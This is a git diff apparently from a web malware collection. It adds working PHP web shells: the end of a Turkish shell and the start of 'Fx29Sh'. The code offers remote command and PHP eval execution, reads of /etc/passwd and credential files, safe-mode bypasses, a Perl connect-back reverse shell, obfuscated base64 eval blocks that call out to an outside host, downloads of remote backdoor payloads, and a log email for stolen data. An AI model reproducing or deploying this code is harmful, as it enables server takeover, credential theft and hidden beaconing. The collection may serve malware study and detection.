$scmess1=filesize("$nscdir/$nfiles");} +if (is_writable("$nscdir/$nfiles")){ +$scmess2= "<center><font color=DeepSkyBlue >yes";}else {$scmess2="<center><font color=red>Hayir";}if (is_readable("$nscdir/$nfiles")){ +$scmess3= "<center><font color=DeepSkyBlue >yes";}else {$scmess3= "<center><font color=red>Hayir";}if (is_dir("$nscdir/$nfiles")){$scmess4= "<font color=red><center>Dir";}else{$scmess4= "<center><font color=DeepSkyBlue >File";} +print"<tr><td style=\"border:1px solid black\">"; +if (is_dir($nfiles)){print "<font face= tahoma size=2 color=DeepSkyBlue >[ $nfiles ]<br>";}else {print "<font face= tahoma size=2 color=#dadada>$nfiles <br>";} +print"</td>"; print "<td style=\"border:1px solid black\">"; +print "<center><font face= tahoma size=2 color=#dadada>"; +if (is_dir("$nscdir/$nfiles")){print "<b>K</b>Dir";} +elseif(is_file("$nscdir/$nfiles")){readable_size($scmess1);}else {print "---";} +print "</td>"; print "<td style=\"border:1px solid black\">"; +print "<center><font face= tahoma size=2 >$scmess2"; print "</td>"; +print"<td style=\"border:1px solid black\">"; +print "<center><font face= tahoma size=2 >$scmess3"; print "</td>"; +print "<td style=\"border:1px solid black\">"; +print "<center><font face= tahoma size=2 >$scmess4"; print"</td>"; +print "<td style=\"border:1px solid black\">";if(is_file("$nscdir/$nfiles")){ +print " <center><a href=".inclink('dlink', 'edit')."&edit=$nfiles&scdir=$nscdir>Edit</a>";}else {print "<center><font face=tahoma size=2 color=gray>D�zenle</center>";}print"</td>"; print "<td style=\"border:1px solid black\">";print " <center><a href=".inclink('dlink', 'ren')."&ren=$nfiles&scdir=$nscdir>Rename</a>";print"</td>";print "<td style=\"border:1px solid black\">"; +if(is_file("$nscdir/$nfiles")){ +print " <center><a href=".inclink('dlink', 'dwld')."&dwld=$nfiles&scdir=$nscdir>Download</a>";}else {print "<center><font face=tahoma size=2 color=gray>indir</center>";}print"</td>"; if(strstr(PHP_OS,"Linux")){ +print "<td style=\"border:1px solid black\">"; +print "<center><font face=tahoma size=2 color=#dadada>";owgr($nfiles); +print "</center>";print"</td>";} +print "<td style=\"border:1px solid DeepSkyBlue \">";print "<center><div>"; +permcol("$nscdir/$nfiles");print "</div>";print"</td>"; print "</tr>"; +}print "</table>";print "<br>";}else {print "<div><br><center><b>[ Can't open the Dir, permission denied !! ]<p>";}} +elseif (!isset($_REQUEST['rfile'])&&isset($_REQUEST['cmd'])||isset($_REQUEST['eval'])||isset($_REQUEST['subqcmnds'])){ +if (!isset($_REQUEST['rfile'])&&isset($_REQUEST['cmd'])){print "<div><b><center>[ Executed command ][$] : ".$_REQUEST['cmd']."</div></center>";} +print "<pre><center>".$sta; +if (isset($_REQUEST['cmd'])){$cmd=trim($_REQUEST['cmd']);callfuncs($cmd);} +elseif(isset($_REQUEST['eval'])){ +ob_start();eval(stripslashes(trim($_REQUEST['eval']))); +$ret = ob_get_contents();ob_clean();print htmlspecialchars($ret);} +elseif (isset($_REQUEST['subqcmnds'])){ +if ($_REQUEST['uscmnds']=='op1'){callfuncs('ls -lia');} +if ($_REQUEST['uscmnds']=='op2'){callfuncs('cat /etc/passwd');} +if ($_REQUEST['uscmnds']=='op3'){callfuncs('cat /var/cpanel/accounting.log');} +if ($_REQUEST['uscmnds']=='op4'){callfuncs('ls /var/named');} +if ($_REQUEST['uscmnds']=='op11'){callfuncs('find ../ -type d -perm -2 -ls');} +if ($_REQUEST['uscmnds']=='op12'){callfuncs('find ./ -type d -perm -2 -ls');} +if ($_REQUEST['uscmnds']=='op5'){callfuncs('find ./ -name service.pwd ');} +if ($_REQUEST['uscmnds']=='op6'){callfuncs('find ./ -name config.php');} +if ($_REQUEST['uscmnds']=='op7'){callfuncs('find / -type f -name .bash_history');} +if ($_REQUEST['uscmnds']=='op8'){callfuncs('cat /etc/hosts');} +if ($_REQUEST['uscmnds']=='op9'){callfuncs('finger root');} +if ($_REQUEST['uscmnds']=='op10'){callfuncs('netstat -an | grep -i listen');} +if ($_REQUEST['uscmnds']=='op13'){callfuncs('cat /etc/services');} +}print $eta."</center></pre>";} +function rdread($nscdir,$sf,$ef){$rfile=trim($_REQUEST['rfile']); +if(is_readable($rfile)&&is_file($rfile)){ +$fp=fopen ($rfile,"r");print"<center>"; +print "<div><b>[ Editing <font color=DeepSkyBlue >".basename($rfile)."</font> ] [<a href='javascript:history.back()'> Back </a>] [<a href=".inclink('dlink','rdcurrdir')."&scdir=$nscdir> Curr-Dir </a>]</b></div><br>"; +print $sf."<textarea cols=157 rows=23 name=rfiletxt>"; +while (!feof($fp)){$lines = fgetc($fp); +$nlines=htmlspecialchars($lines);print $nlines;} +fclose($fp);print "</textarea>";if (is_writable($rfile)){ +print "<center><input type=hidden value=$rfile name=hidrfile><input type=submit value='Save-file' > <input type=reset value='Reset' ></center>".$ef;}else +{print "<div><b><center>[ Can't edit <font color=DeepSkyBlue >".basename($rfile)."</font> ]</center></b></div><br>";}print "</center><br>";} +elseif (!file_exists($_REQUEST['rfile'])||!is_readable($_REQUEST['rfile'])||$_REQUEST['rfile']=$nscdir){print "<div><b><center>[ You selected a wrong file name or you don't have access !! ]</center></b></div><br>";}} +function rdsave($nscdir){$hidrfile=trim($_REQUEST['hidrfile']); +if (is_writable($hidrfile)){$rffp=fopen ($hidrfile,"w+"); +$rfiletxt=stripslashes($_REQUEST['rfiletxt']); + +fwrite ($rffp,$rfiletxt);print "<div><b><center> +[ <font color=DeepSkyBlue >".basename($hidrfile)."</font> Saved !! ] +[<a href=".inclink('dlink','rdcurrdir')."&scdir=$nscdir> Curr-Dir </a>] [<a href='javascript:history.back()'> Edit again </a>] +</center></b></div><br>";fclose($rffp);} +else {print "<div><b><center>[ Can't save the file !! ] [<a href=".inclink('dlink','rdcurrdir')."&scdir=$nscdir> Curr-Dir </a>] [<a href='javascript:history.back()'> Back </a>]</center></b></div><br>";}} +if (isset ($_REQUEST['rfile'])&&!isset($_REQUEST['cmd'])){rdread($nscdir,$sf,$ef);} +elseif (isset($_REQUEST['rfiletxt'])){rdsave($nscdir);} +function callperms($chkperms){ +$perms = fileperms($chkperms); + +if (($perms & 0xC000) == 0xC000) { + // Socket + $info = 's'; +} elseif (($perms & 0xA000) == 0xA000) { + // Symbolic Link + $info = 'l'; +} elseif (($perms & 0x8000) == 0x8000) { + // Regular + $info = '-'; +} elseif (($perms & 0x6000) == 0x6000) { + // Block special + $info = 'b'; +} elseif (($perms & 0x4000) == 0x4000) { + // Directory + $info = 'd'; +} elseif (($perms & 0x2000) == 0x2000) { + // Character special + $info = 'c'; +} elseif (($perms & 0x1000) == 0x1000) { + // FIFO pipe + $info = 'p'; +} else { + // Unknown + $info = 'u'; +} + +// Owner +$info .= (($perms & 0x0100) ? 'r' : '-'); +$info .= (($perms & 0x0080) ? 'w' : '-'); +$info .= (($perms & 0x0040) ? + (($perms & 0x0800) ? 's' : 'x' ) : + (($perms & 0x0800) ? 'S' : '-')); + +// Group +$info .= (($perms & 0x0020) ? 'r' : '-'); +$info .= (($perms & 0x0010) ? 'w' : '-'); +$info .= (($perms & 0x0008) ? + (($perms & 0x0400) ? 's' : 'x' ) : + (($perms & 0x0400) ? 'S' : '-')); + +// World +$info .= (($perms & 0x0004) ? 'r' : '-'); +$info .= (($perms & 0x0002) ? 'w' : '-'); +$info .= (($perms & 0x0001) ? + (($perms & 0x0200) ? 't' : 'x' ) : + (($perms & 0x0200) ? 'T' : '-')); print $info;} + + function readable_size($size) { + +if ($size < 1024) { +print $size . ' B'; +}else {$units = array("kB", "MB", "GB", "TB"); +foreach ($units as $unit) { +$size = ($size / 1024); +if ($size < 1024) {break;}}printf ("%.2f",$size);print ' ' . $unit;}} +if($dlink=='ren'&&!isset($_REQUEST['rensub'])){ +print "<div><b><center>[<a href=".$PHP_SELF."?scdir=$nscdir> Back </a>]</div>"; +print "<center>".$sf;input ("text","ren",$_REQUEST['ren'],20);print " "; +input ("text","renf","New-name",20);print " "; +input ("submit","rensub","Rename" ,"");print $ef;die();}else print ""; +if (isset ($_REQUEST['ren'])&&isset($_REQUEST['renf'])){ +if (rename($nscdir."/".$_REQUEST['ren'],$nscdir."/".$_REQUEST['renf'])){ +print"<center><div><b>[ ". $_REQUEST['ren']." is renamed to " .$sfnt.$_REQUEST['renf'].$efnt." successfully ]</center></div></b>";print "<div><b><center>[<a href=".inclink('dlink', 'rcurrdir')."&scdir=$nscdir> Curr-dir </a>]</div>";die();}else{print "<div><b><center>[ Yeniden Adlandirilamiyor ]</div>"; +print "<div><b><center>[<a href=".inclink('dlink', 'rcurrdir')."&scdir=$nscdir> Back </a>]</div>";die();}}function fget($nscdir,$sf,$ef){print "<center>"; +print "<div><b>[ Editing <font color=DeepSkyBlue >".basename($_REQUEST['edit'])."</font> ] [<a href='javascript:history.back()'> Back </a>] [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>]</b></div>"; +print $sf."<textarea cols=157 rows=23 name=edittxt>"; +$alltxt= file_get_contents($_REQUEST['edit']); +$nalltxt=htmlspecialchars($alltxt);print $nalltxt;print "</textarea></center>"; +if (is_writable($_REQUEST['edit'])){ +print "<center><input type=submit value='Save-file' > <input type=reset value='Reset' ></center>".$ef;}else {print "<div><b><center>[ Can't edit +<font color=DeepSkyBlue >".basename($_REQUEST['edit'])."</font> ]</center></b></div><br>";}}function svetxt(){ +$fp=fopen ($_REQUEST['edit'],"w");if (is_writable($_REQUEST['edit'])){ +$nedittxt=stripslashes($_REQUEST['edittxt']); +fwrite ($fp,$nedittxt);print "<div><b><center>[ <font color=DeepSkyBlue >".basename($_REQUEST['edit'])."</font> Saved !! ]</center></b></div>";fclose($fp);}else {print "<div><b><center>[ Can't save the file !! ]</center></b></div>";}} +if ($dlink=='edit'&&!isset ($_REQUEST['edittxt'])&&!isset($_REQUEST['rfile'])&&!isset($_REQUEST['cmd'])&&!isset($_REQUEST['subqcmnds'])&&!isset($_REQUEST['eval'])) +{fget($nscdir,$sf,$ef);}elseif (isset ($_REQUEST['edittxt'])) +{svetxt();fget($nscdir,$sf,$ef);}else {print "";}function owgr($file){ +$fileowneruid=fileowner($file); $fileownerarray=posix_getpwuid($fileowneruid); +$fileowner=$fileownerarray['name']; $fileg=filegroup($file); +$groupinfo = posix_getgrgid($fileg);$filegg=$groupinfo['name']; +print "$fileowner/$filegg"; }$cpyf=trim($_REQUEST['cpyf']);$ftcpy=trim($_REQUEST['ftcpy']);$cpmv= $cpyf.'/'.$ftcpy;if (isset ($_REQUEST['cpy'])){ +if (copy($ftcpy,$cpmv)){$cpmvmess=basename($ftcpy)." copied successfully";}else {$cpmvmess="Can't copy ".basename($ftcpy);}} +elseif(isset($_REQUEST['mve'])){ +if (copy($ftcpy,$cpmv)&&unlink ($ftcpy)){$cpmvmess= basename($ftcpy)." moved successfully";}else {$cpmvmess="Can't move ".basename($ftcpy);} +}else {$cpmvmess="COPY / Select a file for copy then paste";} +if (isset ($_REQUEST['safefile'])){ +$file=$_REQUEST['safefile'];$tymczas="";if(empty($file)){ +if(empty($_GET['file'])){if(empty($_POST['file'])){ +print "<center>[ Please choose a file first to read it using copy() ]</center>"; +} else {$file=$_POST['file'];}} else {$file=$_GET['file'];}} +$temp=tempnam($tymczas, "cx");if(copy("compress.zlib://".$file, $temp)){ +$zrodlo = fopen($temp, "r");$tekst = fread($zrodlo, filesize($temp)); +fclose($zrodlo);echo "<center><pre>".$sta.htmlspecialchars($tekst).$eta."</pre></center>";unlink($temp);} else { +print "<FONT COLOR=\"RED\"><CENTER>Sorry, Can't read the selected file !! +</CENTER></FONT><br>";}}if (isset ($_REQUEST['inifile'])){ +ini_restore("safe_mode");ini_restore("open_basedir"); +print "<center><pre>".$sta; +if (include(htmlspecialchars($_REQUEST['inifile']))){}else {print "Sorry, can't read the selected file !!";}print $eta."</pre></center>";} +if (isset ($_REQUEST['bip'])&&isset ($_REQUEST['bport'])){callback($nscdir,$_REQUEST['bip'],$_REQUEST['bport']);} +function callback($nscdir,$bip,$bport){ +if(strstr(php_os,"WIN")){$epath="cmd.exe";}else{$epath="/bin/sh";} +if (is_writable($nscdir)){ +$fp=fopen ("back.pl","w");$backpl='back.pl';} +else {$fp=fopen ("/tmp/back.pl","w");$backpl='/tmp/back.pl';} +fwrite ($fp,"use Socket; +\$system='$epath'; +\$sys= 'echo \"[ Operating system ][$]\"; echo \"`uname -a`\"; +echo \"[ Curr DIR ][$]\"; echo \"`pwd`\";echo; +echo \"[ User perms ][$]\";echo \"`id`\";echo; +echo \"[ Start shell ][$]\";'; + +if (!\$ARGV[0]) { + exit(1); +} +\$host = \$ARGV[0]; +\$port = 80; +if (\$ARGV[1]) { + \$port = \$ARGV[1]; +} +\$proto = getprotobyname('tcp') || die('Unknown Protocol\n'); +socket(SERVER, PF_INET, SOCK_STREAM, \$proto) || die ('Socket Error\n'); +my \$target = inet_aton(\$host); +if (!connect(SERVER, pack 'SnA4x8', 2, \$port, \$target)) { + die('Unable to Connect\n'); +} +if (!fork( )) { + open(STDIN,'>&SERVER'); + open(STDOUT,'>&SERVER'); + open(STDERR,'>&SERVER'); +print '\n[ Bk-Code shell by Black-Code :: connect back backdoor by Crash_over_ride ]'; +print '\n[ A-S-T team ][ Lezr.com ]\n\n'; + system(\$sys);system (\$system); + exit(0); } + ");callfuncs("chmod 777 $backpl"); +ob_start(); +callfuncs("perl $backpl $bip $bport"); +ob_clean(); +print "<div><b><center>[ Selected IP is ".$_REQUEST['bip']." and port is ".$_REQUEST['bport']." ]<br> +[ Check your connection now, if failed try changing the port number ]<br> +[ Or Go to a writable dir and then try to connect again ]<br> +[ Return to the Current dir ] [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>] +</div><br>";}if (isset($_REQUEST['uback'])){ +$uback=$_REQUEST['uback'];$upip=$_REQUEST['upip']; +if ($_REQUEST['upports']=="up80"){callfuncs("perl $uback $upip 80");} +elseif ($_REQUEST['upports']=="up443"){callfuncs("perl $uback $upip 443");} +elseif ($_REQUEST['upports']=="up2121"){callfuncs("perl $uback $upip 2121");}} +delm("# Execute Commands #");print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100% height=18%>"; +print "<tr><td width=32%><div align=left>"; +print $st.$c1."<center><div><b>".$mess3.$ec; +print $c2.$sf."<center>";input("text","cfile","",53); +input("hidden","scdir",$nscdir,0);print "<br>"; +input("submit","crefile","Make-it",""); +print " ";input("submit","delfile","Delete",""); +print "</center>".$ef.$ec.$et."</div></td>"; +print "<td><div align=center>".$st.$c1; +print "<center><div><b>Enter the command to execute";print $ec; +print $c2.$sf."<center><div style='margin-top:7px'>"; +input("text","cmd","",59);input("hidden","scdir",$nscdir,0);print"<br>"; +input("submit","","Execute","");print "</center>".$ef.$ec.$et."</div></td>"; +print "<td width=32%><div align=right>";print $st.$c1; +print "<center><div><b>$mess".$ec.$c2.$sf."<center>"; +input("text","dir","",53);input("hidden","scdir",$nscdir,0);print "<br>"; +input("submit","credir","Create-D","");print " "; +input("submit","deldir","Delete-D",""); +print "</center>".$ef.$ec.$et."</div></td></tr>"; +print "<tr><td width=32%><div align=left>";print $st.$c1; +print "<center><div><b>Edit/Read File".$ec;print $c2.$sf."<center>"; +input("text","rfile",$nscdir,53);input("hidden","scdir",$nscdir,0);print "<br>"; +input("submit","","Read-Edit","");print "</center>".$ef.$ec.$et."</div></td>"; +print "<td><div align=center>";print $st.$c1; +print "<center><div><b>View Dir<br>";print $ec.$c2.$sf."<center><div style='margin-top:7px'>"; input("text","scdir",$nscdir,59);print"<br>"; +input("submit","","View","");print " "; +input("reset","","R00T","");print "</center>".$ef.$ec.$et."</div></td>"; +print "<td><div align=center>";print $st.$c1; +print "<center><div><b>File size : ".filesize($upfile)." in ( B/Kb )";print $ec.$c2."<form method=post Enctype=multipart/form-data><center>"; +input("file","upfile","",40);input("hidden","scdir",$nscdir,0); +input("hidden","up",$nscdir,0); +print"<br>";input("submit","","Upload","");print "</center>".$ef.$ec.$et."</div></td></tr>"; +delm("");print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";print "<tr><td width=50%><div align=left>"; +print $st.$c1."<div><b><center>Execute php code with eval()</div>"; +print $ec.$c2.$sf;input("hidden","scdir",$nscdir,0); +print "&nbsp;<textarea cols=73 rows=3 name=eval>"; +if(!isset($evsub)){print "//system('id'); //readfile('/etc/passwd'); //passthru('pwd');";}else{print htmlspecialchars(stripslashes($eval));} +print "</textarea><br><center>"; +input('submit','evsub','Execute');print " "; +input('Reset','','Reset');print " "; +print "</center>".$ec.$ef.$et; +print "</td><td height=20% width=50%><div align=center>"; +print $st.$c1."<div><b><center>Execute useful commands</div>"; +print $ec.$c2.$sf;input("hidden","scdir",$nscdir,0); +print "<center><select style='width:60%' name=uscmnds size=1> +<option value='op0'>Execute quick commands</option> +<option value='op1'>ls -lia</option> +<option value='op2'>/etc/passwd</option> +<option value='op3'>/var/cpanel/accounting.log</option> +<option value='op4'>/var/named</option> +<option value='op11'>Perms in curr Dir</option> +<option value='op12'>Perms in main Dir</option> +<option value='op5'>Find service.pwd files</option> +<option value='op6'>Find config files</option> +<option value='op7'>Find .bash_history files</option> +<option value='op8'>Read hosts file</option> +<option value='op9'>Root login</option> +<option value='op10'>Show opened ports</option> +<option value='op13'>Show services</option> +</select> ";print"<input type=submit name=subqcmnds value=Execute style='height:20'> <input type=reset value=Return style='height:20'></center>"; +print $ec.$ef.$et."</td></tr></table>";delm(""); +print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>"; +print "<tr><td width=50%><div align=left>"; +print $st.$c1."<div><b><center>".$cpmvmess."</div>"; +print $ec.$c2.$sf."&nbsp;";input("text","ftcpy","File-name",15); +print "<b><font face=tahoma size=2>&nbsp;To </b>"; +input("text","cpyf",$nscdir,45);input("hidden","scdir",$nscdir,0);print " "; +input("submit","cpy","Copy","");print " ";input("submit","mve","Move",""); +print "</center>".$ec.$ef.$et; +print "</td><td height=20% width=50%><div align=right>"; +print $st.$c1."<div><b><center>Important commands</div>"; +print $ec.$c2.$sf."&nbsp";input("hidden","scdir",$nscdir,0); +print "<select style='width:22%' name=ustools size=1> +<option value='t1'>Wget</option><option value='t2'>Curl</option> +<option value='t3'>Lynx</option><option value='t9'>Get</option> +<option value='t4'>Unzip</option><option value='t5'>Tar</option> +<option value='t6'>Tar.gz</option><option value='t7'>Chmod 777</option> +<option value='t8'>Make</option></select> ";input('text','ustname','',51);print " ";input('submit','ustsub','Execute');print "</center>".$ec.$ef.$et; +print "</td></tr></table>";delm(": Safe mode bypass :"); +print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>"; +print "<tr><td width=50%><div align=left>"; +print $st.$c1."<div><b><center>Using copy() function</div>"; +print $ec.$c2.$sf."&nbsp;";input("text","safefile",$nscdir,75); +input("hidden","scdir",$nscdir,0);print " "; +input("submit","","Read-F","");print "</center>".$ec.$ef.$et; +print "</td><td height=20% width=50%><div align=right>"; +print $st.$c1."<div><b><center>Using ini_restore() function</div>"; +print $ec.$c2.$sf."&nbsp;";input("text","inifile",$nscdir,75); +input("hidden","scdir",$nscdir,0);print " "; +input("submit","","Read-F","");print "</center>".$ec.$ef.$et; +print "</td></tr></table>";delm("# Backdoor Connection #"); +print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>"; +print "<tr><td width=50%><div align=left>"; +print $st.$c1."<div><b><center>Backdoor ile Baglan</div>"; +print $ec.$c2.$sf."&nbsp;";input("text","bip",$REMOTE_ADDR,47);print " "; +input("text","bport",80,10);input("hidden","scdir",$nscdir,0);print " "; +input("submit","","Connect","");print " ";input("reset","","Reset",""); +print "</center>".$ec.$ef.$et;print "</td><td height=20% width=50%><div align=right>";print $st.$c1."<div><b><center>Y�klenmis Backdoor</div>";print $ec.$c2.$sf."&nbsp;";print "<select style='width:15%' name=upports size=1><option value='up80'>80</option><option value='up443'>443</option><option value='up2121'>2121</option></select>";print " ";input("text","uback","back.pl",23);print " ";input("text","upip",$REMOTE_ADDR,29);print " ";input("submit","subupb","Connect");$_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUoM241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaSVvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVlOSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNyVvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVlOCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRCV1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVlaSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVhRSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQiU3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaScpPC9zY3I0cHQ+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); +print "</center>".$ec.$ef.$et;print "</td></tr></table>"; +print"<center>Copyright is reserved to KingDefacer<br>[ By Turkish Security GROUP Go to : <a target='_blank' href='http://alturks.com'>http://alturks.com/</a> ]"; +print "<br><table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>"; print"<tr><td><font size=2 face=tahoma>"; +print"</font></td></tr></table>"; +?> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/fx.txt b/web-malware-collection-master/Backdoors/PHP/fx.txt new file mode 100755 index 0000000..e3720d1 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/fx.txt @@ -0,0 +1,3364 @@ +<?php +####################################### +## FaTaLisTiCz_Fx Fx29Sh 2.0.09.08 ## +define('sh_ver',"2.0.09.08"); ## +## By FaTaLisTiCz_Fx ## +## � 03-09 2008 FeeLCoMz Community ## +## Written under PHP 5.2.5 ## +####################################### +$sh_name = sh_name(); ## +####################################### +#$sh_mainurl = "http://localhost/FX29SH/"; +$sh_mainurl = "http://uaedesign.com/xml/"; +$fx29sh_updateurl = $sh_mainurl."fx29sh_update.php"; +$fx29sh_sourcesurl = $sh_mainurl."fx29sh.txt"; +$sh_sourcez = array( + "Fx29Sh" => array($sh_mainurl."cyberz.txt","fx29sh.php"), + "psyBNC" => array($sh_mainurl."fx.tgz","fx.tgz"), + "Eggdrop" => array($sh_mainurl."fxb.tgz","fxb.tgz"), + "BindDoor" => array($sh_mainurl."bind.tgz","bind.tgz"), +); +##[ AUTHENTICATION ]## +$auth = array( + "login" => "", + "pass" => "", + "md5pass" => "", + "hostallow" => array("*"), + "denied" => "<a href=\"$sh_mainurl\">".$sh_name."</a>: access denied!", +); +##[ END AUTHENTICATION ]## +$curdir = "./"; +$tmpdir = ""; +$tmpdir_logs = "./"; +$log_email = "shell4spam@gmail.com"; +$sess_cookie = "fx29shcook"; +$sort_default = "0a"; #Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending +$sort_save = TRUE; #Simpan posisi pengurutan menggunakan cookies. +$usefsbuff = TRUE; +$copy_unset = FALSE; #Hapus file yg telah di-copy setelah dipaste +$surl_autofill_include = TRUE; +$updatenow = FALSE; +$gzipencode = TRUE; +$filestealth = TRUE; #TRUE, tidak merubah waktu modifikasi dan akses. +$hexdump_lines = 8; +$hexdump_rows = 24; +$millink = milw0rm(); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +$disablefunc = getdisfunc(); +##[ END OF CONFIGS ]## +error_reporting(E_ERROR | E_PARSE); +@ini_set("max_execution_time",0); +@set_time_limit(0); #No Fx in SafeMode +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) { strips($GLOBALS); } +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +@$f = $_REQUEST["f"]; +@extract($_REQUEST["fx29shcook"]); +foreach($_REQUEST as $k => $v) { if (!isset($$k)) { $$k = $v; } } +$fxbuff = "REMOVED"; eval(base64_decode($fxbuff)); +if ($surl_autofill_include) { + $include = "&"; + foreach (explode("&",getenv("QUERY_STRING")) as $v) { + $v = explode("=",$v); + $name = urldecode($v[0]); + $value = @urldecode($v[1]); + foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) { + if (strpos($value,$needle) === 0) { + $includestr .= urlencode($name)."=".urlencode($value)."&"; + } + } + } +} +if (empty($surl)) { + $surl = "?".$includestr; + $surl = htmlspecialchars($surl); +} +## FILE TYPES ## +$ftypes = array( + "html" => array("html","htm","shtml"), + "txt" => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe" => array("sh","install","bat","cmd"), + "ini" => array("ini","inf","conf"), + "code" => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img" => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb" => array("sdb"), + "phpsess" => array("sess"), + "download" => array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"), + array("\.tgz$",1,"<font color=#C082FF>","</font>"), + array("\.gz$",1,"<font color=#C082FF>","</font>"), + array("\.tar$",1,"<font color=#C082FF>","</font>"), + array("\.bz2$",1,"<font color=#C082FF>","</font>"), + array("\.zip$",1,"<font color=#C082FF>","</font>"), + array("\.rar$",1,"<font color=#C082FF>","</font>"), + array("\.php$",1,"<font color=#00FF00>","</font>"), + array("\.php3$",1,"<font color=#00FF00>","</font>"), + array("\.php4$",1,"<font color=#00FF00>","</font>"), + array("\.jpg$",1,"<font color=#00FFFF>","</font>"), + array("\.jpeg$",1,"<font color=#00FFFF>","</font>"), + array("\.JPG$",1,"<font color=#00FFFF>","</font>"), + array("\.JPEG$",1,"<font color=#00FFFF>","</font>"), + array("\.ico$",1,"<font color=#00FFFF>","</font>"), + array("\.gif$",1,"<font color=#00FFFF>","</font>"), + array("\.png$",1,"<font color=#00FFFF>","</font>"), + array("\.htm$",1,"<font color=#00CCFF>","</font>"), + array("\.html$",1,"<font color=#00CCFF>","</font>"), + array("\.txt$",1,"<font color=#C0C0C0>","</font>") +); +## QUICK COMMANDS ## +if (!$win) { + $cmdaliases = array( + array("", "ls -al"), + array("Find all suid files", "find / -type f -perm -04000 -ls"), + array("Find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("Find all sgid files", "find / -type f -perm -02000 -ls"), + array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("Find config.inc.php files", "find / -type f -name config.inc.php"), + array("Find config* files", "find / -type f -name \"config*\""), + array("Find config* files in current dir", "find . -type f -name \"config*\""), + array("Find all writable folders and files", "find / -perm -2 -ls"), + array("Find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("Find all writable folders", "find / -type d -perm -2 -ls"), + array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"), + array("Find all service.pwd files", "find / -type f -name service.pwd"), + array("Find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("Find all .htpasswd files", "find / -type f -name .htpasswd"), + array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("Find all .bash_history files", "find / -type f -name .bash_history"), + array("Find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("List file attributes on a Linux second extended file system", "lsattr -va"), + array("Show opened ports", "netstat -an | 